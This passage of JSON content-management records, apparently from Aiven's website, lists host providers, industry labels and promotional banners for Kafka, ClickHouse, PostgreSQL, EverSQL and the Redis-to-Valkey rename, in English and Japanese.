grey","asset":{"_ref":"image-998f7d13fb6e935732eb7ca24f073ef99c558cac-34x51-svg","_type":"reference"}},"logoHeight":35,"logoImage":{"_type":"mainImage","alt":"Bring your own cloud (BYOC) logo","asset":{"_ref":"image-680b96d7b3ef50def356466ac191ff27259be76d-34x51-svg","_type":"reference"}},"logoLight":{"_type":"mainImage","alt":"Bring your own cloud (BYOC) logo in white","asset":{"_ref":"image-f1182d69620689cf55ece3e86ba9bbcc6789263b-34x51-svg","_type":"reference"}},"title":"Bring your own cloud (BYOC)"},"name":"BYOC (Square)"} {"__i18n_lang":"en","_createdAt":"2023-05-26T11:33:57Z","_id":"9039a507-d3b4-402a-964b-6fa829d56ef8","_rev":"LH5f7Hr0x4bwLSK8BVu5Aa","_type":"hostProvider","_updatedAt":"2024-11-07T15:46:24Z","logo":{"_type":"logoItem","logoHeight":48,"logoImage":{"_type":"mainImage","alt":"Bring your own cloud (BYOC)","asset":{"_ref":"image-dec233fa8cf632b4dc01da9bba8af275ec77059f-78x24-svg","_type":"reference"}},"title":"Bring your own cloud (BYOC)"},"name":"BYOC"} {"__i18n_lang":"en","_createdAt":"2022-06-20T15:31:54Z","_id":"6a178237-0e78-448d-9f08-00ac09b0ce89","_rev":"QsRRbhg4tK3TtrSh4R0ErJ","_type":"industry","_updatedAt":"2022-09-05T08:28:00Z","label":"Business Services","value":"business-services"} {"__i18n_lang":"en","_createdAt":"2022-09-05T08:29:48Z","_id":"fbc70238-6d5b-4a3c-9bc8-f09256208390","_rev":"2a0x8ZFmDOgprY7cLywUsc","_type":"industry","_updatedAt":"2022-09-05T08:29:48Z","label":"Energy and Utilities","value":"energy-and-utilities"} {"__i18n_lang":"en","_createdAt":"2022-06-20T15:32:40Z","_id":"12ad0420-837b-42cb-9631-2009792d0d75","_rev":"QsRRbhg4tK3TtrSh4R0NHt","_type":"industry","_updatedAt":"2022-09-05T08:31:00Z","label":"Consumer Services","value":"consumer-services"} {"__i18n_lang":"en","_createdAt":"2022-06-20T15:32:30Z","_id":"ba0ccef8-edb6-431b-a082-f13df38fb842","_rev":"2a0x8ZFmDOgprY7cLywm6e","_type":"industry","_updatedAt":"2022-09-05T08:31:18Z","label":"Financial Services","value":"financial-services"} {"__i18n_lang":"en","_createdAt":"2023-02-16T09:45:49Z","_id":"574f38f9-8dd6-4a61-91bd-c5162fb13ee6","_rev":"q6IvLca7BfVqZtRwcniSJ7","_type":"industry","_updatedAt":"2023-02-16T09:46:16Z","label":"Travel and Recreation","value":"travel-and-recreation"} {"__i18n_lang":"ja","_createdAt":"2022-06-20T15:32:30Z","_id":"ba0ccef8-edb6-431b-a082-f13df38fb842__i18n_ja","_rev":"RM3YKs2w3owxfpPxcrSlh8","_type":"industry","_updatedAt":"2023-07-13T03:18:14Z","label":"金融サービス","value":"financial-services"} {"__i18n_lang":"en","_createdAt":"2024-03-05T15:54:39Z","_id":"eb651a73-878c-40eb-9a1b-fc97248d1eba","_rev":"sZ6EyOfhN45Bkk0uxYRjLR","_type":"industry","_updatedAt":"2024-12-12T14:51:55Z","label":"Media","value":"Media"} {"__i18n_lang":"en","_createdAt":"2022-06-20T15:31:25Z","_id":"21893a68-7c84-4a28-8288-fea5434d27dc","_rev":"igV4EyizbLQUdlfb4HOBBj","_type":"industry","_updatedAt":"2022-09-05T08:27:36Z","label":"Media and Entertainment","value":"media-and-entertainment"} {"__i18n_lang":"en","_createdAt":"2022-06-16T12:03:11Z","_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_rev":"igV4EyizbLQUdlfb4HOGc6","_type":"industry","_updatedAt":"2022-09-05T08:30:40Z","label":"Retail","value":"retail"} {"__i18n_lang":"en","_createdAt":"2022-06-20T15:31:14Z","_id":"8430ab79-9182-48c7-a13b-a02cc260a6ba","_rev":"igV4EyizbLQUdlfb4HOAC0","_type":"industry","_updatedAt":"2022-09-05T08:26:53Z","label":"Transportation and Storage","value":"transportation-and-storage"} {"__i18n_lang":"en","_createdAt":"2024-03-06T12:33:14Z","_id":"8c44e577-b60b-47c1-b439-328f39c9cc1d","_rev":"wlmKp1TUxaN4Rr151JlpEa","_type":"industry","_updatedAt":"2024-03-06T12:33:14Z","label":"Healthcare","value":"Healthcare"} {"__i18n_lang":"en","_createdAt":"2022-06-20T15:33:02Z","_id":"8dc80453-6ed0-45e5-8fa3-076f1de323fb","_rev":"igV4EyizbLQUdlfb4HONW1","_type":"industry","_updatedAt":"2022-09-05T08:31:54Z","label":"Education","value":"education"} {"__i18n_lang":"en","_createdAt":"2022-06-20T15:31:43Z","_id":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_rev":"2a0x8ZFmDOgprY7cLywbaU","_type":"industry","_updatedAt":"2022-09-05T08:30:31Z","label":"Software and Internet","value":"software-and-internet"} {"__i18n_lang":"en","_createdAt":"2022-10-03T14:24:23Z","_id":"385d19d9-94ee-45ec-ae3b-b4ccb06de627","_rev":"iXZJY95zKUl2We0EvW0xSw","_type":"infoBanner","_updatedAt":"2022-10-03T14:24:23Z","name":"klaw","primaryCTA":{"_type":"link","internalLink":{"_ref":"3SHRWehHvhIqxaM9Fjhy1K","_type":"reference"},"title":"Read more"},"slug":{"_type":"slug","current":"klaw"},"title":"Klaw, open source data governance tool for Kafka, is joining Aiven!"} {"__i18n_lang":"en","_createdAt":"2022-12-16T10:01:05Z","_id":"d33694c5-0b2c-4a03-826d-37dbdd0af7d3","_rev":"qBG5W2UzMHRLoCg3n8hlam","_type":"infoBanner","_updatedAt":"2023-02-08T13:01:53Z","name":"Flink GA other page","primaryCTA":{"_type":"link","internalLink":{"_ref":"bc611918-4bbd-462d-95ac-cc2ebf962189","_type":"reference"},"title":"Learn more"},"slug":{"_type":"slug","current":"flink-ga-other-page"},"title":"Aiven for Apache Flink® is now in general availability!"} {"__i18n_lang":"ja","_createdAt":"2023-01-18T16:17:21Z","_id":"d36f345b-fd3e-441b-981e-92e497d886b1__i18n_ja","_rev":"4JMA3H9bBgAwAcyypWkxHL","_type":"infoBanner","_updatedAt":"2023-05-22T21:38:47Z","name":"JA Performance benchmarking Kafka plan","primaryCTA":{"_type":"link","internalLink":{"_ref":"17136303-1f30-4626-b124-7c90ddd8f083","_type":"reference"},"title":"Aiven Apache Kafka® ベンチマーク (2022年) を確認する"},"slug":{"_type":"slug","current":"performance-benchmarking-kafka-plan-ja"},"title":"Aiven for Apache Kafka®プランのパフォーマンスベンチマーク (2022年):AWS、Google Cloud、Azure上での比較結果 (英語)"} {"__i18n_lang":"en","_createdAt":"2023-11-21T11:28:29Z","_id":"da01e529-5f86-4ebd-824c-4f1baf22e021","_rev":"Arp4NzaYseKQ5hw9da7ItS","_type":"infoBanner","_updatedAt":"2023-11-21T13:17:31Z","description":"The integration of EverSQL’s AI-powered engine into the Aiven open source data platform will deliver new performance and cost optimization capabilities to customers","name":"EverSQL banner","primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/blog/aiven-acquires-eversql","title":"Read the blog post"},"slug":{"_type":"slug","current":"eversql-banner"},"tagline":"Acquisition","title":"EverSQL joins Aiven to incorporate AI-powered data optimization capabilities to the Aiven platform"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"5831708f-87f1-4e3b-84a7-3a24300d3689__i18n_ja","_type":"reference"}],"_createdAt":"2024-01-26T09:06:39Z","_id":"5831708f-87f1-4e3b-84a7-3a24300d3689","_rev":"5s8HTZXGujC5ULoREogs7Q","_type":"infoBanner","_updatedAt":"2024-04-29T09:38:34Z","description":"Use AI to optimise your database queries. EverSQL by Aiven provides database monitoring, performance insights and AI-driven optimization suggestions to speed up your queries, maximise resource utilisation and minimise cost.","name":"EverSQL on product page","primaryCTA":{"_type":"link","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"},"title":"Start optimizing"},"slug":{"_type":"slug","current":"eversql-on-product-page"},"tagline":"Optimize your database workloads with AI","title":"AI-powered insights and optimization suggestions for faster queries, reduced costs, and optimal resource utilization."} {"__i18n_lang":"en","_createdAt":"2023-04-05T09:20:43Z","_id":"18c4da4c-8014-44d7-adc4-dd2fb7c5c848","_rev":"H1slUvtNVEvBnmPPMPJC3l","_type":"infoBanner","_updatedAt":"2024-02-02T09:55:56Z","name":"Kafka Summit London","primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/events/kafka-summit-london-2024","title":"Book onsite meeting"},"slug":{"_type":"slug","current":"kafka-summit-london"},"tagline":"Kafka Summit London","title":"Meet our solution experts for tailored solutions and insights on your data infrastructure challenges."} {"__i18n_lang":"en","_createdAt":"2024-02-05T12:14:52Z","_id":"b2ee26dd-e5c2-41e9-9d55-cfaf30a117d4","_rev":"H1slUvtNVEvBnmPPMSJwyP","_type":"infoBanner","_updatedAt":"2024-02-05T12:19:53Z","name":" movie recommendation app ","primaryCTA":{"_type":"link","internalLink":{"_ref":"432056be-ad24-4120-8f16-49e3d764571a","_type":"reference"},"title":"Secure your seat"},"slug":{"_type":"slug","current":"Build a movie recommendation app with Tensorflow and pgvector"},"tagline":"Online workshop","title":"Build a movie recommendation app with Tensorflow and pgvector"} {"__i18n_lang":"en","_createdAt":"2023-04-11T14:56:33Z","_id":"7b13b32f-0d00-4ffb-88f6-41d82014ec06","_rev":"ie5WJlLr1SLUBaBgClTCkW","_type":"infoBanner","_updatedAt":"2024-02-19T12:57:34Z","name":"Free plan PG","primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/free-postgresql-database","title":"Read more"},"slug":{"_type":"slug","current":"free-plan-pg"},"tagline":"Get started for free","title":"Spin up a PostgreSQL® database instance at no cost"} {"__i18n_lang":"en","_createdAt":"2023-04-17T09:11:43Z","_id":"784656f5-b303-45a7-a1ca-4a6b0b195d60","_rev":"ie5WJlLr1SLUBaBgClW0Q0","_type":"infoBanner","_updatedAt":"2024-02-19T13:05:51Z","description":"Start prototyping, experiment, and spin up your first managed PostgreSQL® database instance at no cost. Scale effortlessly to larger production environments as your requirements expand.\n\n","name":"Free plan promo","primaryCTA":{"_type":"link","internalLink":{"_ref":"142bd962-060f-4672-9ada-af1a246fc272","_type":"reference"},"title":"Read more"},"slug":{"_type":"slug","current":"https://console.aiven.io/signup"},"title":"Get started with a free plan for PostgreSQL® "} {"__i18n_lang":"en","_createdAt":"2024-02-22T18:45:03Z","_id":"22b37df3-984e-460d-a58e-0711c8159b54","_rev":"YjVW2s1L51MKE6hnLGHisF","_type":"infoBanner","_updatedAt":"2024-02-22T18:45:03Z","name":"AI VIP Dinner Series","primaryCTA":{"_type":"link","title":"RSVP to Reserve Your Spot"},"slug":{"_type":"slug","current":"ai-vip-dinner-series"},"tagline":"Hosted by Google \u0026 Aiven"} {"__i18n_lang":"en","_createdAt":"2023-11-08T08:10:11Z","_id":"211cddea-7918-4284-a645-eca01f16bc7d","_rev":"YgPujUcKQ2JSpcKSYXlmG0","_type":"infoBanner","_updatedAt":"2023-11-08T08:10:11Z","name":"Data Persistence workshop","primaryCTA":{"_type":"link","internalLink":{"_ref":"1fbb85f3-26f2-414d-a0b9-c364984a92b9","_type":"reference"},"title":"Register for free"},"slug":{"_type":"slug","current":"data-persistence-workshop"},"tagline":"Live workshop","title":"Data Persistence 101: Spring Boot and MySQL Edition"} {"__i18n_base":{"_ref":"5831708f-87f1-4e3b-84a7-3a24300d3689","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2024-01-26T09:06:39Z","_id":"5831708f-87f1-4e3b-84a7-3a24300d3689__i18n_ja","_rev":"Y34ePYFQ489qDVybEJlnQr","_type":"infoBanner","_updatedAt":"2024-03-25T14:28:32Z","name":"EverSQL on product page (JA)","primaryCTA":{"_type":"link","externalUrl":"https://www.eversql.com/","title":"無料で最適化を始めましょう"},"slug":{"_type":"slug","current":"eversql-on-product-page-ja"},"tagline":"EverSQL by Aiven","title":"AIがもたらす、より高速なクエリ、コスト削減、最適なリソース利用 "} {"__i18n_lang":"en","_createdAt":"2023-02-08T11:12:46Z","_id":"655fcc54-ebbe-40b0-9d07-f9e08b85d8b0","_rev":"q6IvLca7BfVqZtRwbvkZir","_type":"infoBanner","_updatedAt":"2023-02-08T13:02:33Z","name":"Flink GA","primaryCTA":{"_type":"link","internalLink":{"_ref":"bc611918-4bbd-462d-95ac-cc2ebf962189","_type":"reference"},"title":"Learn more"},"slug":{"_type":"slug","current":"flink-ga"},"tagline":"General availability","title":"We're fresh out of beta!"} {"__i18n_lang":"en","_createdAt":"2024-05-24T07:00:16Z","_id":"9e388c4b-a8d3-4ff3-bd55-3d28f1a97e36","_rev":"kvD2acrBmFSZeMYobhKsP2","_type":"infoBanner","_updatedAt":"2024-05-24T07:00:16Z","description":"We empower businesses with advanced data analytics capabilities while removing the complexities of managing the underlying infrastructure. This Competency status was given to Aiven based on success in helping customers use the best tools and practices for collecting, storing, governing and analyzing data at any scale.","name":"AWS Data and Analytics Competency","slug":{"_type":"slug","current":"aws-data-and-analytics-competency"},"title":"Aiven's Data and Analytics Competency status achievement recognizes our powerful open-source data services available on AWS"} {"__i18n_lang":"en","_createdAt":"2022-12-14T15:24:11Z","_id":"6d8a7f8c-dd1c-4f97-b75e-b1fedfa5d8e0","_rev":"K0rtrsNuqDEgCtVQGlqf3I","_type":"infoBanner","_updatedAt":"2022-12-14T15:24:11Z","name":"Open source banner","primaryCTA":{"_type":"link","internalLink":{"_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"},"title":"Read more"},"slug":{"_type":"slug","current":"open-source-banner"},"tagline":"Latest updates","title":"Find out how Aiven contributes to the Apache Kafka® community with a dedicated full-time team. "} {"__i18n_lang":"en","_createdAt":"2023-05-16T14:02:17Z","_id":"8bee1fee-2402-457a-832e-53189bb8aebc","_rev":"cvGXl5N34JYrojAm3G3Zak","_type":"infoBanner","_updatedAt":"2023-05-23T13:32:35Z","description":"Mike Zimberg, CTO at Digital Asset Research will share how they achieved a 99.99% uptime, while lowering their managed Apache Kafka® costs by 10% and improving their performance by 10x.","name":"Fireside chat: Maximize cloud efficiency","primaryCTA":{"_type":"link","internalLink":{"_ref":"0a602320-c997-44ea-a9f4-a095c53241e6","_type":"reference"},"title":"Join the livestream"},"slug":{"_type":"slug","current":"fireside-chat-maximize-cloud-efficiency"},"tagline":"Fireside chat","title":"LIVE - Maximize cloud efficiency: How to cut costs and keep uptime strong"} {"__i18n_lang":"en","_createdAt":"2023-06-20T08:26:23Z","_id":"8d361c52-eeae-4e5c-a120-79866cc4c1c7","_rev":"VeNKqGNmt13PzvGhqs0fGu","_type":"infoBanner","_updatedAt":"2024-01-29T11:04:37Z","description":"Aiven for M3 Aggregator allows you to immediately deploy fully-managed, purpose-built clusters for workloads that use aggregated time series data in the cloud of your choice. Increase throughput by scaling independently from your M3DB cluster and replicate your aggregations across cluster nodes for high availability.","name":"M3 Aggregator","primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/m3db/concepts/m3-components","title":"Learn more"},"slug":{"_type":"slug","current":"m3-aggregator"},"title":"M3 Aggregator"} {"__i18n_lang":"en","_createdAt":"2023-01-31T09:00:18Z","_id":"99ff5fe1-04b0-463c-a797-9496558af6f7","_rev":"pnOvEyahjeT2Gte9ff53dr","_type":"infoBanner","_updatedAt":"2023-01-31T12:31:50Z","description":"Apache Kafka® is the perfect reference tool when building event driven architecture and fitting microservices into the big picture. Here's everything you always wanted to know, but were afraid to ask.","name":"Apache Kafka ebook banner","primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/ebook/apache-kafka-for-tech-leaders","title":"Get our free ebook"},"slug":{"_type":"slug","current":"apache-kafka-ebook-banner"},"tagline":"Ebook","title":"Want to know more about Apache Kafka®? We've got what you need."} {"__i18n_lang":"en","_createdAt":"2023-11-17T12:31:25Z","_id":"a3072de8-db95-4265-b3d8-db4753f90f59","_rev":"Arp4NzaYseKQ5hw9dTD4mC","_type":"infoBanner","_updatedAt":"2023-11-17T12:32:08Z","name":"Netlify workshop","primaryCTA":{"_type":"link","internalLink":{"_ref":"2357e829-9253-4cf1-83fe-8426d2e261cb","_type":"reference"},"title":"Secure your seat"},"slug":{"_type":"slug","current":"netlify-workshop"},"tagline":"Online workshop","title":"Configure your app and data for Continuous Delivery with Netlify"} {"__i18n_lang":"en","_createdAt":"2024-04-17T12:33:21Z","_id":"aebce928-e63f-4272-8698-4894ef7b78c2","_rev":"5dKvdU2b7V4fiIIxYxLFdk","_type":"infoBanner","_updatedAt":"2024-05-20T07:17:31Z","name":"Redis trademark change","primaryCTA":{"_type":"link","internalLink":{"_ref":"ab689ad8-7a84-427f-b8ae-6f9656c8c9bf","_type":"reference"},"title":"Learn more"},"slug":{"_type":"slug","current":"redis-trademark-change"},"title":"Previously known as Aiven for Redis®*. As a result of license change and revised trademark guidance from Redis, Aiven has changed the name of Aiven for Redis® to Aiven for Caching. Aiven for Caching offers all the same functionality as Aiven for Redis®."} {"__i18n_lang":"en","_createdAt":"2022-12-14T15:13:13Z","_id":"b89eb60d-4b6b-4a40-9e02-cabd7c47f0d0","_rev":"3re4XGUaXqpLG8nUT6QG87","_type":"infoBanner","_updatedAt":"2022-12-14T15:17:53Z","name":"Sustainability banner","primaryCTA":{"_type":"link","internalLink":{"_ref":"258bc7bc-786c-445f-83e5-87502edbfef1","_type":"reference"},"title":"Read more"},"slug":{"_type":"slug","current":"sustainability-banner"},"tagline":"news","title":"Read our latest update about the Aiven's Sustainability initiative on the blog"} {"__i18n_lang":"en","_createdAt":"2024-05-08T15:41:07Z","_id":"cb289a02-f87f-4d97-917a-acc15dd7a1a6","_rev":"6IjwK8t2YScx5mkOZjqKu1","_type":"infoBanner","_updatedAt":"2024-05-08T16:40:02Z","name":"Redis upcoming change","primaryCTA":{"_type":"link","internalLink":{"_ref":"ab689ad8-7a84-427f-b8ae-6f9656c8c9bf","_strengthenOnPublish":{"type":"post"},"_type":"reference","_weak":true},"title":"Learn more"},"slug":{"_type":"slug","current":"redis-upcoming-change"},"tagline":"Upcoming","title":"In accordance with the Redis Trademark Policy, Aiven for Redis® will soon be changing its name to Aiven for Caching"} {"__i18n_lang":"en","_createdAt":"2023-10-30T11:54:36Z","_id":"d351f08a-0f1d-4d30-adf2-6c4d420732f0","_rev":"URGvS4Je6KJVSLklvBFlWD","_type":"infoBanner","_updatedAt":"2023-11-07T17:27:47Z","description":"Live and interactive sessions to upgrade your skills with expert guidance covering a range of open source technologies.","name":"Developer workshops","primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/developer-workshops","title":"Explore all workshops"},"slug":{"_type":"slug","current":"developer-workshops2"},"tagline":"Developer workshops","title":"Boost your tech skills with our developer workshops"} {"__i18n_lang":"en","_createdAt":"2023-01-18T16:17:21Z","_id":"d36f345b-fd3e-441b-981e-92e497d886b1","_rev":"xxq72TYoCux1QbSIcCtBsV","_type":"infoBanner","_updatedAt":"2023-01-18T16:17:21Z","name":"Performance benchmarking Kafka plan","primaryCTA":{"_type":"link","internalLink":{"_ref":"17136303-1f30-4626-b124-7c90ddd8f083","_type":"reference"},"title":"Check out the Aiven Apache Kafka® benchmarking 2022"},"slug":{"_type":"slug","current":"performance-benchmarking-kafka-plan"},"title":"Performance benchmarking of Aiven for Apache Kafka® plans on AWS, GCP \u0026 Azure (2022)"} {"__i18n_lang":"en","_createdAt":"2023-05-31T13:09:12Z","_id":"d80cc6e1-8a7d-43a7-996b-9e76f4ad38f9","_rev":"PafZ7If3abxFAfZNOkJAzR","_type":"infoBanner","_updatedAt":"2023-05-31T13:10:57Z","name":"byoc","primaryCTA":{"_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"Learn more"},"slug":{"_type":"slug","current":"byoc"},"tagline":"New","title":"Optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)"} {"__i18n_lang":"ja","_createdAt":"2023-05-31T13:09:12Z","_id":"d80cc6e1-8a7d-43a7-996b-9e76f4ad38f9__i18n_ja","_rev":"hmQk1VtzwG7nr0256LWq6J","_type":"infoBanner","_updatedAt":"2023-06-05T09:36:02Z","name":"JA byoc","primaryCTA":{"_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"詳細はこちら"},"slug":{"_type":"slug","current":"ja-byoc"},"tagline":"新規","title":"AivenのBYOC(Bring Your Own Cloud)でクラウドデータ基盤のコストを最適化できます。"} {"__i18n_lang":"en","_createdAt":"2023-01-27T11:29:32Z","_id":"ddf2f372-2ced-4ef7-8930-dcd0b7280c0e","_rev":"iop8tFFqgfe67JrEbj9fvd","_type":"infoBanner","_updatedAt":"2023-02-07T11:46:31Z","description":"If you're facing any of these questions and concerns — and as an expert within a digital native company, you probably are — then it's time to dig into the data.","name":"Research 2023 State of data full report","primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/aiven-data-infra-research-2023","title":"Download the full report here"},"slug":{"_type":"slug","current":"research-2023-state-of-data-full-report"},"title":"Want more info?"} {"__i18n_lang":"en","_createdAt":"2022-12-13T14:11:49Z","_id":"ed0fa588-c0bf-496f-ad1f-201ca2f85c07","_rev":"aJQte7Rd1SiavAM6QVTOXb","_type":"infoBanner","_updatedAt":"2022-12-16T09:55:07Z","name":"Clickhouse GA","primaryCTA":{"_type":"link","internalLink":{"_ref":"5b18fb4c-f744-499c-befd-9e72479f83fc","_type":"reference"},"title":"Find out more"},"slug":{"_type":"slug","current":"clickhouse-ga"},"tagline":"General availability","title":"We're fresh out of beta!"} {"__i18n_lang":"en","_createdAt":"2024-03-15T15:19:57Z","_id":"8c5763af-fdd0-42da-afef-a9f151dca1e6","_rev":"2QvLnXP36WAnQ13A3vk64G","_type":"infoBanner","_updatedAt":"2024-03-15T15:26:53Z","description":"Explore the essentials for AI success in the latest IDC InfoBrief, \"Building a Cloud Data Foundation for the AI Era\" sponsored by Aiven and Google Cloud.","name":"IDC InfoBrief Building a Cloud Data Foundation for the AI Era","primaryCTA":{"_type":"link","internalLink":{"_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_type":"reference"},"title":"Read it now"},"slug":{"_type":"slug","current":"idc-infobrief-aiven-for-ai"},"tagline":"New","title":"IDC InfoBrief \"Building a Cloud Data Foundation for the AI Era\""} {"__i18n_lang":"en","_createdAt":"2024-04-05T12:16:31Z","_id":"ff419028-7a2d-4999-80c4-333d51431846","_rev":"GBmtRHnFQlSVgM9batiI8w","_type":"infoBanner","_updatedAt":"2024-04-05T12:16:31Z","name":"Cloud deployment with Oracle","primaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Reach out to us today"},"slug":{"_type":"slug","current":"cloud-deployment-with-oracle"},"tagline":"Cloud deployment","title":"Interested in deploying on Oracle with Aiven?"} {"__i18n_lang":"en","_createdAt":"2023-06-20T08:10:30Z","_id":"46716318-efb7-46ff-9c80-7be6ec102dc2","_rev":"uoxN7hjTZfWhT8KF2xDLNO","_type":"infoBanner","_updatedAt":"2024-08-29T16:06:48Z","description":"Move older, less frequently accessed data to a lower cost object storage tier within Kafka. Tiered Storage reduces storage costs, increases operational flexibility, and provides unlimited data retention scalability.","name":"Aiven for Apache Kafka with Tiered Storage","primaryCTA":{"_type":"link","internalLink":{"_ref":"d673489a-c315-4ea8-b272-3ed867b2ab55","_type":"reference"},"title":"Learn more"},"slug":{"_type":"slug","current":"kafka-tiered-storage"},"title":"Aiven for Apache Kafka® with Tiered Storage"} {"__i18n_lang":"en","_createdAt":"2023-01-31T10:19:58Z","_id":"0a937f79-7e44-4e92-b3e4-c9c0525bd38b","_rev":"FsdEUX6qPquRWP6V15r36A","_type":"infoBanner","_updatedAt":"2024-03-25T14:34:54Z","name":"Learn Apache Kafka with Python","primaryCTA":{"_type":"link","internalLink":{"_ref":"dd882356-1dca-441e-9af9-e1fe8f191102","_type":"reference"},"title":"Register now"},"slug":{"_type":"slug","current":"learn-apache-kafka-with-python-nov"},"tagline":"Online Workshop","title":"Learn Apache Kafka with Python "} {"__i18n_lang":"en","_createdAt":"2024-04-05T12:46:57Z","_id":"58de1f94-291b-4e5f-a42d-136bbb07cbfc","_rev":"GBmtRHnFQlSVgM9batsfLU","_type":"infoBanner","_updatedAt":"2024-04-05T12:46:57Z","name":"IDC AI InfoBrief","primaryCTA":{"_type":"link","internalLink":{"_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_type":"reference"},"title":"Download"},"slug":{"_type":"slug","current":"idc-ai-infobrief"},"tagline":"InfoBrief","title":"Explore the essentials for AI success in our latest InfoBrief, \"Building a Cloud Data Foundation for the AI Era,\" sponsored by Aiven and Google Cloud."} {"__i18n_lang":"en","_createdAt":"2024-07-17T11:29:28Z","_id":"2628877d-b6aa-44a5-bbdb-26caa11abc5f","_rev":"IN03FCy14OOjYlZR2m0wka","_type":"infoBanner","_updatedAt":"2024-07-17T13:34:16Z","name":"Tool SQL Optimizer","primaryCTA":{"_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"Try it now"},"slug":{"_type":"slug","current":"tool-sql-optimizer"},"tagline":"SQL optimizer","title":"Optimize your PostgreSQL and MySQL queries with Smart AI-based algorithms for automatic re-writing and indexing"} {"__i18n_lang":"en","_createdAt":"2024-04-08T08:59:47Z","_id":"95ab30d7-60e2-4490-a47e-1e277ef07ae7","_rev":"fK7wdLq8UW1gYGPgn8as1X","_type":"infoBanner","_updatedAt":"2024-04-08T13:45:17Z","description":" Check the AI insights tab in the Aiven Console for optimization opportunities for your Aiven for PostgreSQL service. ","name":"Aiven AI Insights","primaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"If you'd like to get started, Contact us today!"},"slug":{"_type":"slug","current":"aiven-ai-insights"},"tagline":"NEW","title":" Check the AI insights tab in the Aiven Console for optimization opportunities for your Aiven for PostgreSQL service."} {"__i18n_lang":"en","_createdAt":"2023-11-01T12:27:48Z","_id":"8cf966f6-1027-4df1-9ff1-26078db32eff","_rev":"aHjLj1t2WT5YWNgHGa9KFi","_type":"infoBanner","_updatedAt":"2024-04-18T06:18:13Z","name":"Preparing and Using Data for AI with LangChain and OpenSearch®","primaryCTA":{"_type":"link","internalLink":{"_ref":"69d06cac-e840-49f9-a254-7c406c63f1de","_type":"reference"},"title":"Register"},"slug":{"_type":"slug","current":"search-and-aggregations-made-easy-with-opensearch-and-nodejs"},"tagline":"Online Workshop","title":"Preparing and Using Data for AI with LangChain and OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2024-05-28T11:29:06Z","_id":"14185af5-9745-4965-bbab-3da8c6fc1f71","_rev":"427em69a5QjFSFlkic2M76","_type":"infoBanner","_updatedAt":"2024-05-28T12:26:12Z","name":"Blog AI Database Optimizer launch","primaryCTA":{"_type":"link","internalLink":{"_ref":"e6c815e6-81b6-4fb9-8269-072853775316","_type":"reference"},"title":"Learn more"},"slug":{"_type":"slug","current":"blog-ai-database-optimizer-launch"},"title":"Speed up your database workloads with Aiven AI Database Optimizer"} {"__i18n_lang":"en","_createdAt":"2024-08-03T23:03:00Z","_id":"6ee17b57-d2f1-4fe9-aa9f-eb7cebe55d99","_rev":"Gc7Qq2PHZBylrD6rwPWelr","_type":"infoBanner","_updatedAt":"2024-08-04T16:44:23Z","description":"Solve Postgres performance issues in minutes with AI-driven performance insights and optimization suggestions. Write performant code 100x faster with index and SQL rewrite recommendations.","name":"Aiven AI Database Optimizer","primaryCTA":{"_type":"link","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"},"title":"Learn more"},"slug":{"_type":"slug","current":"ai-db-optimizer"},"title":"Aiven AI Database Optimizer"} {"__i18n_lang":"en","_createdAt":"2024-09-27T17:25:33Z","_id":"be15331e-5c51-45d1-b852-5d8a80d8e145","_rev":"8q08tYxGNL2qfrtMKYpYHw","_type":"infoBanner","_updatedAt":"2024-10-02T11:13:04Z","description":"Combine the superior data compression of Aiven for ClickHouse with the flexibility of Tiered Storage.","name":"Aiven for ClickHouse® with Tiered Storage","primaryCTA":{"_type":"link","internalLink":{"_ref":"a838f74f-9ee3-474d-be9d-fb39629e0432","_type":"reference"},"title":"Learn more"},"slug":{"_type":"slug","current":"clickhouse-tiered-storage"},"tagline":"New","title":"Aiven for ClickHouse® with Tiered Storage to reduce storage costs and unlock unlimited data retention and scalability"} {"__i18n_lang":"en","_createdAt":"2024-10-02T18:35:34Z","_id":"9f414a85-59fd-4fc1-864b-1154cd27ee37","_rev":"U360V83F77Z1JcZt4Q1kJH","_type":"infoBanner","_updatedAt":"2024-11-04T09:26:11Z","name":"AlloyDB Omni partnership announcement","primaryCTA":{"_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Learn more"},"slug":{"_type":"slug","current":"alloydb-omni-partnership-announcement"},"title":"Aiven Partners with Google Cloud to Offer AlloyDB Omni on Amazon Web Services, Microsoft Azure and Google Cloud"} {"__i18n_lang":"en","_createdAt":"2025-01-15T15:13:11Z","_id":"da9675d1-ad45-4c1e-a342-917f648be72a","_rev":"nsxTqRv7yl9rbYA812X9jv","_type":"infoBanner","_updatedAt":"2025-01-15T15:38:09Z","name":"Upgrade to Valkey","primaryCTA":{"_type":"link","externalUrl":"#upgrade-caching-to-valkey","title":"Read more below"},"slug":{"_type":"slug","current":"upgrade-to-valkey"},"title":"The future of Caching is here: Upgrade to Aiven for Valkey now! Support for Aiven for Caching on the Aiven tenant will stop on March 31st 2025."} 